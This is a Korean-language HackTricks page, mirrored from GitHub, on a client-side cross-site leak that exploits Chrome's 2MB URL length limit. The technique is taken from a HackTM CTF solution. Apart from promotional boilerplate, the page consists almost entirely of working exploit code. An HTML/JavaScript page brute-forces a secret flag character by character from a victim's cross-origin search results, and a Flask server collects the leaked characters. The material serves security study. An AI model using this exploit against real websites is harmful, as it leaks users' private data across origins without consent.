mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
97 lines
3.7 KiB
Markdown
97 lines
3.7 KiB
Markdown
# URL 최대 길이 - 클라이언트 측
|
|
|
|
{% hint style="success" %}
|
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>HackTricks 지원하기</summary>
|
|
|
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)에서 코드 확인하기
|
|
```html
|
|
<html>
|
|
<body></body>
|
|
<script>
|
|
(async () => {
|
|
|
|
const curr = "http://secrets.wtl.pw/search?query=HackTM{"
|
|
|
|
const leak = async (char) => {
|
|
|
|
fetch("/?try=" + char)
|
|
let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
|
|
|
|
const check = async () => {
|
|
try {
|
|
w.origin
|
|
} catch {
|
|
fetch("/?nope=" + char)
|
|
return
|
|
}
|
|
setTimeout(check, 100)
|
|
}
|
|
check()
|
|
}
|
|
|
|
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
|
|
|
|
for (let i = 0; i < CHARSET.length; i++) {
|
|
leak(CHARSET[i])
|
|
await new Promise(resolve => setTimeout(resolve, 50))
|
|
}
|
|
})()
|
|
</script>
|
|
</html>
|
|
```
|
|
서버 측:
|
|
```python
|
|
from flask import Flask, request
|
|
|
|
app = Flask(__name__)
|
|
|
|
CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
|
|
chars = []
|
|
|
|
@app.route('/', methods=['GET'])
|
|
def index():
|
|
global chars
|
|
|
|
nope = request.args.get('nope', '')
|
|
if nope:
|
|
chars.append(nope)
|
|
|
|
remaining = [c for c in CHARSET if c not in chars]
|
|
|
|
print("Remaining: {}".format(remaining))
|
|
|
|
return "OK"
|
|
|
|
@app.route('/exploit.html', methods=['GET'])
|
|
def exploit():
|
|
return open('exploit.html', 'r').read()
|
|
|
|
if __name__ == '__main__':
|
|
app.run(host='0.0.0.0', port=1337)
|
|
```
|
|
{% hint style="success" %}
|
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>HackTricks 지원하기</summary>
|
|
|
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
|
|
|
</details>
|
|
{% endhint %}
|